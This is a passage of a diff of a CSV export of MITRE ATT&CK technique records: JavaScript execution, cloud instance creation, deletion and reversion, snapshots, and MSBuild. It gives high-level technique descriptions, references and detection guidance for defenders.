successful.",['defense-evasion'],https://attack.mitre.org/techniques/T1480/001,mitre-attack,T1480.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Nick Carr, Mandiant']","['Process: Process Creation', 'Command: Command Execution']","['Anti-virus', 'Host forensic analysis', 'Signature-based detection', 'Static file analysis']","Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.",True,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1059/007', 'external_id': 'T1059.007'}, {'source_name': 'NodeJS', 'description': 'OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.', 'url': 'https://nodejs.org/'}, {'source_name': 'JScrip May 2018', 'description': 'Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020.', 'url': 'https://docs.microsoft.com/windows/win32/com/translating-to-jscript'}, {'source_name': 'Microsoft JScript 2007', 'description': 'Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript …. Retrieved June 23, 2020.', 'url': 'https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript'}, {'source_name': 'Microsoft Windows Scripts', 'description': 'Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020.', 'url': 'https://docs.microsoft.com/scripting/winscript/windows-script-interfaces'}, {'source_name': 'Apple About Mac Scripting 2016', 'description': 'Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021.', 'url': 'https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html'}, {'source_name': 'SpecterOps JXA 2020', 'description': 'Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021.', 'url': 'https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5'}, {'source_name': 'SentinelOne macOS Red Team', 'description': 'Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.', 'url': 'https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/'}, {'source_name': 'Red Canary Silver Sparrow Feb2021', 'description': 'Tony Lambert. (2021, February 18). Clipping Silver Sparrow’s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.', 'url': 'https://redcanary.com/blog/clipping-silver-sparrows-wings/'}, {'source_name': 'MDSec macOS JXA and VSCode', 'description': 'Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021.', 'url': 'https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/'}]",2.1,attack-pattern,attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-23T19:12:24.924Z,2021-08-16T21:02:05.142Z,JavaScript,"Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS) JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts) JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode) -Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).",attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d,attack-pattern,['execution'],2021-04-27T19:21:05.521Z,2020-06-23T19:12:24.924Z,"Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source. +Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).",['execution'],https://attack.mitre.org/techniques/T1059/007,mitre-attack,T1059.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Cody Thomas, SpecterOps']","['Command: Command Execution', 'Process: Process Creation', 'Module: Module Load', 'Script: Script Execution']",,"Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source. Monitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system. -Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.","['Command: Command Execution', 'Process: Process Creation', 'Module: Module Load', 'Script: Script Execution']","['Cody Thomas, SpecterOps']",,"['User', 'Administrator', 'SYSTEM']","['Windows', 'macOS', 'Linux']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1578.004', 'url': 'https://attack.mitre.org/techniques/T1578/004'}, {'source_name': 'Tech Republic - Restore AWS Snapshots', 'url': 'https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/', 'description': 'Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019.'}, {'source_name': 'Google - Restore Cloud Snapshot', 'url': 'https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots', 'description': 'Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,True,https://attack.mitre.org/techniques/T1578/004,mitre-attack,T1578.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Revert Cloud Instance,"An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs. +Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.",True,"['User', 'Administrator', 'SYSTEM']","['Windows', 'macOS', 'Linux']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1578/004', 'external_id': 'T1578.004'}, {'source_name': 'Tech Republic - Restore AWS Snapshots', 'description': 'Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019.', 'url': 'https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/'}, {'source_name': 'Google - Restore Cloud Snapshot', 'description': 'Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019.', 'url': 'https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots'}]",1.1,attack-pattern,attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-16T18:42:20.734Z,2021-03-08T10:33:02.128Z,Revert Cloud Instance,"An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs. -Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)",attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1,attack-pattern,['defense-evasion'],2021-03-08T10:33:02.128Z,2020-06-16T18:42:20.734Z,"Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","['Instance: Instance Modification', 'Instance: Instance Start', 'Instance: Instance Stop']",['Netskope'],,['User'],['IaaS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1578.003', 'url': 'https://attack.mitre.org/techniques/T1578/003'}, {'source_name': 'Mandiant M-Trends 2020', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.'}, {'source_name': 'AWS CloudTrail Search', 'url': 'https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/', 'description': 'Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.'}, {'source_name': 'Azure Activity Logs', 'url': 'https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs', 'description': 'Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.'}, {'source_name': 'Cloud Audit Logs', 'url': 'https://cloud.google.com/logging/docs/audit#admin-activity', 'description': 'Google. (n.d.). Audit Logs. Retrieved June 1, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,True,https://attack.mitre.org/techniques/T1578/003,mitre-attack,T1578.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Delete Cloud Instance,"An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable. +Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)",['defense-evasion'],https://attack.mitre.org/techniques/T1578/004,mitre-attack,T1578.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Netskope'],"['Instance: Instance Modification', 'Instance: Instance Start', 'Instance: Instance Stop']",,"Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",True,['User'],['IaaS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1578/003', 'external_id': 'T1578.003'}, {'source_name': 'Mandiant M-Trends 2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020'}, {'source_name': 'AWS CloudTrail Search', 'description': 'Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.', 'url': 'https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/'}, {'source_name': 'Azure Activity Logs', 'description': 'Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.', 'url': 'https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs'}, {'source_name': 'Cloud Audit Logs', 'description': 'Google. (n.d.). Audit Logs. Retrieved June 1, 2020.', 'url': 'https://cloud.google.com/logging/docs/audit#admin-activity'}]",1.1,attack-pattern,attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-16T17:23:06.508Z,2021-03-08T10:33:02.083Z,Delete Cloud Instance,"An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable. -An adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)",attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4,attack-pattern,['defense-evasion'],2021-03-08T10:33:02.083Z,2020-06-16T17:23:06.508Z,"The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity. +An adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)",['defense-evasion'],https://attack.mitre.org/techniques/T1578/003,mitre-attack,T1578.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Instance: Instance Deletion'],,"The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity. -In AWS, CloudTrail logs capture the deletion of an instance in the TerminateInstances event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances delete to delete a VM.(Citation: Cloud Audit Logs)",['Instance: Instance Deletion'],,,['User'],['IaaS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1578.001', 'url': 'https://attack.mitre.org/techniques/T1578/001'}, {'source_name': 'Mandiant M-Trends 2020', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.'}, {'source_name': 'AWS Cloud Trail Backup API', 'url': 'https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html', 'description': 'Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020.'}, {'source_name': 'Azure - Monitor Logs', 'url': 'https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor', 'description': 'Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020.'}, {'source_name': 'Cloud Audit Logs', 'url': 'https://cloud.google.com/logging/docs/audit#admin-activity', 'description': 'Google. (n.d.). Audit Logs. Retrieved June 1, 2020.'}, {'source_name': 'GCP - Creating and Starting a VM', 'url': 'https://cloud.google.com/compute/docs/instances/create-start-instance#api_2', 'description': 'Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,True,https://attack.mitre.org/techniques/T1578/001,mitre-attack,T1578.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Create Snapshot,"An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence. +In AWS, CloudTrail logs capture the deletion of an instance in the TerminateInstances event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances delete to delete a VM.(Citation: Cloud Audit Logs)",True,['User'],['IaaS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1578/001', 'external_id': 'T1578.001'}, {'source_name': 'Mandiant M-Trends 2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020'}, {'source_name': 'AWS Cloud Trail Backup API', 'description': 'Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020.', 'url': 'https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html'}, {'source_name': 'Azure - Monitor Logs', 'description': 'Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020.', 'url': 'https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor'}, {'source_name': 'Cloud Audit Logs', 'description': 'Google. (n.d.). Audit Logs. Retrieved June 1, 2020.', 'url': 'https://cloud.google.com/logging/docs/audit#admin-activity'}, {'source_name': 'GCP - Creating and Starting a VM', 'description': 'Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020.', 'url': 'https://cloud.google.com/compute/docs/instances/create-start-instance#api_2'}]",1.1,attack-pattern,attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-09T15:33:13.563Z,2021-03-08T10:33:02.060Z,Create Snapshot,"An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence. -An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)",attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1,attack-pattern,['defense-evasion'],2021-03-08T10:33:02.060Z,2020-06-09T15:33:13.563Z,"The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account. +An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)",['defense-evasion'],https://attack.mitre.org/techniques/T1578/001,mitre-attack,T1578.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],['Snapshot: Snapshot Creation'],,"The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account. In AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API). In Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs) -Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the gcloud compute instances create command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the ""sourceSnapshot"": parameter pointed to ""global/snapshots/[BOOT_SNAPSHOT_NAME].(Citation: GCP - Creating and Starting a VM)",['Snapshot: Snapshot Creation'],['Praetorian'],,['User'],['IaaS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1578.002', 'url': 'https://attack.mitre.org/techniques/T1578/002'}, {'source_name': 'Mandiant M-Trends 2020', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.'}, {'source_name': 'AWS CloudTrail Search', 'url': 'https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/', 'description': 'Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.'}, {'source_name': 'Azure Activity Logs', 'url': 'https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs', 'description': 'Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.'}, {'source_name': 'Cloud Audit Logs', 'url': 'https://cloud.google.com/logging/docs/audit#admin-activity', 'description': 'Google. (n.d.). Audit Logs. Retrieved June 1, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,True,https://attack.mitre.org/techniques/T1578/002,mitre-attack,T1578.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Create Cloud Instance,"An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020) +Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the gcloud compute instances create command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the ""sourceSnapshot"": parameter pointed to ""global/snapshots/[BOOT_SNAPSHOT_NAME].(Citation: GCP - Creating and Starting a VM)",True,['User'],['IaaS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1578/002', 'external_id': 'T1578.002'}, {'source_name': 'Mandiant M-Trends 2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020'}, {'source_name': 'AWS CloudTrail Search', 'description': 'Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.', 'url': 'https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/'}, {'source_name': 'Azure Activity Logs', 'description': 'Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.', 'url': 'https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs'}, {'source_name': 'Cloud Audit Logs', 'description': 'Google. (n.d.). Audit Logs. Retrieved June 1, 2020.', 'url': 'https://cloud.google.com/logging/docs/audit#admin-activity'}]",1.1,attack-pattern,attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-14T14:45:15.978Z,2021-03-08T10:33:02.034Z,Create Cloud Instance,"An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020) -Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.",attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c,attack-pattern,['defense-evasion'],2021-03-08T10:33:02.034Z,2020-05-14T14:45:15.978Z,"The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity. +Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.",['defense-evasion'],https://attack.mitre.org/techniques/T1578/002,mitre-attack,T1578.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Instance: Instance Creation'],,"The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity. -In AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs)",['Instance: Instance Creation'],,,['User'],['IaaS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1127.001', 'url': 'https://attack.mitre.org/techniques/T1127/001'}, {'url': 'https://msdn.microsoft.com/library/dd393574.aspx', 'description': 'Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.', 'source_name': 'MSDN MSBuild'}, {'source_name': 'Microsoft MSBuild Inline Tasks 2017', 'url': 'https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element', 'description': 'Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021.'}, {'source_name': 'LOLBAS Msbuild', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Msbuild/', 'description': 'LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.'}]","[{'phase_name': 'defense-evasion', 'kill_chain_name': 'mitre-attack'}]",1.1,True,https://attack.mitre.org/techniques/T1127/001,mitre-attack,T1127.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,MSBuild,"Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild) +In AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs)",True,['User'],['IaaS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1127/001', 'external_id': 'T1127.001'}, {'source_name': 'MSDN MSBuild', 'description': 'Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.', 'url': 'https://msdn.microsoft.com/library/dd393574.aspx'}, {'source_name': 'Microsoft MSBuild Inline Tasks 2017', 'description': 'Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021.', 'url': 'https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element'}, {'source_name': 'LOLBAS Msbuild', 'description': 'LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.', 'url': 